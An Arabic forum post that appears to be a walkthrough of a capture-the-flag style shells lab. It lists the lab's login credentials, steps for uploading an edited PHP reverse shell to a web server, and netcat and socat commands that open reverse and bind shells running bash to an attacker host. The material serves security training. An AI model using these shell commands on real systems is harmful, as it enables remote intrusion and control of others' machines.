- قم بتشغيل ملف PHP الذي رفعته على الويب سيرفر اللينكس
- تسجيل الدخول إلى الجهاز اللينكس عبر SSH :
- استخدم الاعتماد المقدمة في المهمة لتسجيل الدخول إلى الجهاز اللينكس عبر SSH.
- استخدام تقنيات Netcat للتفاعل مع الجهاز :
- جرب استخدام تقنيات Netcat لتفعيل الـ revers/bind shell واختبارها.
- استخدام Socat لإنشاء شيلات:
- جرب استخدام Socat لإنشاء revers/bind shell واختبارها
linux
تسجيل الدخول عبر SSH
- Username: shell
- Password: TryH4ckM3!
للتجربه عليه
windows
تسجيل الدخول عبر RDP أو WinRM
- Username: Administrator
- !Password: TryH4ckM3
كود:
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'
نقوم بتنفيذ الخطوات السابقة
1. رفع الويب شيل على الصندوق اللينكس :
- ابدأ بتسجيل الدخول إلى لينكس باستخدام بيانات الاعتماد المذكورة
- انتقل إلى مسار الملف /usr/share/webshells/php/
- قم بتعديل ملف php-reverse-shell.php لتتوافق عنوان الآي بي والبورت مع عنوانك الحالي والبورت المخصص
- رفع الملف المعدل على الويب سيرفر باستخدام الموقع
- انشئ مستمع Netcat على جهازك للتحقق مما إذا كان الشيل المعدل يعمل أم لا
- قم بتشغيل ملف PHP الذي رفعته على الويب سيرفر اللينكس
- استخدم الاعتماد المقدمة في المهمة لتسجيل الدخول إلى الجهاز اللينكس عبر SSH
4. استخدام تقنيات Netcat للتفاعل مع الجهاز :
- جرب استخدام تقنيات Netcat لتفعيل الـ revers/bind shell واختبارها.
زي ما سبق وحكينا
الصيغة للـ listener
كود:
nc -lvnp <رقم البورت>
الصيغة للضحية
كود:
nc <عنوان الهدف> <البورت المختار>
5. استخدام Socat لإنشاء شيلات :
- جرب استخدام Socat لإنشاء revers/bind shell واختبارها
زي ما سبق وحكينا
للـ Revers shell
الصيغة للـ listener
كود:
socat TCP-L:<port> -
كود:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
للـ Bind shell
الصيغه اللي المهاجم
كود:
socat TCP:<TARGET-IP>:<TARGET-PORT> -
الصيغة للضحية
كود:
socat TCP-L:<PORT> EXEC:"bash -li"
الـ Reverse shell
الـ Bind shell
الـ Bind shell
التعديل الأخير: